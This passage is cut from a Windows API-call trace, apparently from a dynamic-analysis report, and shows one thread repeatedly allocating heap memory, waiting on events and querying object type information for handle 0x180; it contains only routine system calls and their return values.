Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.580] ResetEvent (hEvent=0x110) returned 1 [0072.580] SetEvent (hEvent=0x114) returned 1 [0072.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.580] ResetEvent (hEvent=0x110) returned 1 [0072.580] SetEvent (hEvent=0x114) returned 1 [0072.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.581] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.581] ResetEvent (hEvent=0x110) returned 1 [0072.581] SetEvent (hEvent=0x114) returned 1 [0072.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.581] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.581] ResetEvent (hEvent=0x110) returned 1 [0072.581] SetEvent (hEvent=0x114) returned 1 [0072.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.581] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.581] ResetEvent (hEvent=0x110) returned 1 [0072.581] SetEvent (hEvent=0x114) returned 1 [0072.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.582] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.582] ResetEvent (hEvent=0x110) returned 1 [0072.582] SetEvent (hEvent=0x114) returned 1 [0072.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.582] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.582] ResetEvent (hEvent=0x110) returned 1 [0072.582] SetEvent (hEvent=0x114) returned 1 [0072.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.583] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.583] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.583] ResetEvent (hEvent=0x110) returned 1 [0072.583] SetEvent (hEvent=0x114) returned 1 [0072.583] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.583] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.583] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.583] ResetEvent (hEvent=0x110) returned 1 [0072.583] SetEvent (hEvent=0x114) returned 1 [0072.583] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.583] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.583] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.583] ResetEvent (hEvent=0x110) returned 1 [0072.583] SetEvent (hEvent=0x114) returned 1 [0072.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.617] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.617] ResetEvent (hEvent=0x110) returned 1 [0072.617] SetEvent (hEvent=0x114) returned 1 [0072.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.617] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.618] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.618] ResetEvent (hEvent=0x110) returned 1 [0072.618] SetEvent (hEvent=0x114) returned 1 [0072.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.618] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.618] ResetEvent (hEvent=0x110) returned 1 [0072.618] SetEvent (hEvent=0x114) returned 1 [0072.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.618] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.618] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.618] ResetEvent (hEvent=0x110) returned 1 [0072.618] SetEvent (hEvent=0x114) returned 1 [0072.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.619] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.619] ResetEvent (hEvent=0x110) returned 1 [0072.619] SetEvent (hEvent=0x114) returned 1 [0072.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.619] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.619] ResetEvent (hEvent=0x110) returned 1 [0072.619] SetEvent (hEvent=0x114) returned 1 [0072.619] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.619] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.619] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.619] ResetEvent (hEvent=0x110) returned 1 [0072.619] SetEvent (hEvent=0x114) returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.620] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.620] ResetEvent (hEvent=0x110) returned 1 [0072.620] SetEvent (hEvent=0x114) returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.620] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.620] ResetEvent (hEvent=0x110) returned 1 [0072.620] SetEvent (hEvent=0x114) returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.620] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.620] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.620] ResetEvent (hEvent=0x110) returned 1 [0072.621] SetEvent (hEvent=0x114) returned 1 [0072.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.621] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.621] ResetEvent (hEvent=0x110) returned 1 [0072.621] SetEvent (hEvent=0x114) returned 1 [0072.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.621] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.621] ResetEvent (hEvent=0x110) returned 1 [0072.621] SetEvent (hEvent=0x114) returned 1 [0072.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.621] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.622] ResetEvent (hEvent=0x110) returned 1 [0072.622] SetEvent (hEvent=0x114) returned 1 [0072.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.622] ResetEvent (hEvent=0x110) returned 1 [0072.622] SetEvent (hEvent=0x114) returned 1 [0072.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.622] ResetEvent (hEvent=0x110) returned 1 [0072.622] SetEvent (hEvent=0x114) returned 1 [0072.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.623] ResetEvent (hEvent=0x110) returned 1 [0072.623] SetEvent (hEvent=0x114) returned 1 [0072.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.623] ResetEvent (hEvent=0x110) returned 1 [0072.623] SetEvent (hEvent=0x114) returned 1 [0072.623] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.623] ResetEvent (hEvent=0x110) returned 1 [0072.623] SetEvent (hEvent=0x114) returned 1 [0072.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.624] ResetEvent (hEvent=0x110) returned 1 [0072.624] SetEvent (hEvent=0x114) returned 1 [0072.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.624] ResetEvent (hEvent=0x110) returned 1 [0072.624] SetEvent (hEvent=0x114) returned 1 [0072.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.624] ResetEvent (hEvent=0x110) returned 1 [0072.625] SetEvent (hEvent=0x114) returned 1 [0072.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.625] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.625] ResetEvent (hEvent=0x110) returned 1 [0072.625] SetEvent (hEvent=0x114) returned 1 [0072.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.625] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.625] ResetEvent (hEvent=0x110) returned 1 [0072.625] SetEvent (hEvent=0x114) returned 1 [0072.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.626] ResetEvent (hEvent=0x110) returned 1 [0072.626] SetEvent (hEvent=0x114) returned 1 [0072.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.626] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.626] ResetEvent (hEvent=0x110) returned 1 [0072.626] SetEvent (hEvent=0x114) returned 1 [0072.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.626] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.626] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.626] ResetEvent (hEvent=0x110) returned 1 [0072.626] SetEvent (hEvent=0x114) returned 1 [0072.626] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.627] ResetEvent (hEvent=0x110) returned 1 [0072.627] SetEvent (hEvent=0x114) returned 1 [0072.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.627] ResetEvent (hEvent=0x110) returned 1 [0072.627] SetEvent (hEvent=0x114) returned 1 [0072.627] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.627] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.627] ResetEvent (hEvent=0x110) returned 1 [0072.627] SetEvent (hEvent=0x114) returned 1 [0072.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.628] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.628] ResetEvent (hEvent=0x110) returned 1 [0072.628] SetEvent (hEvent=0x114) returned 1 [0072.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.628] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.628] ResetEvent (hEvent=0x110) returned 1 [0072.628] SetEvent (hEvent=0x114) returned 1 [0072.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.628] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: 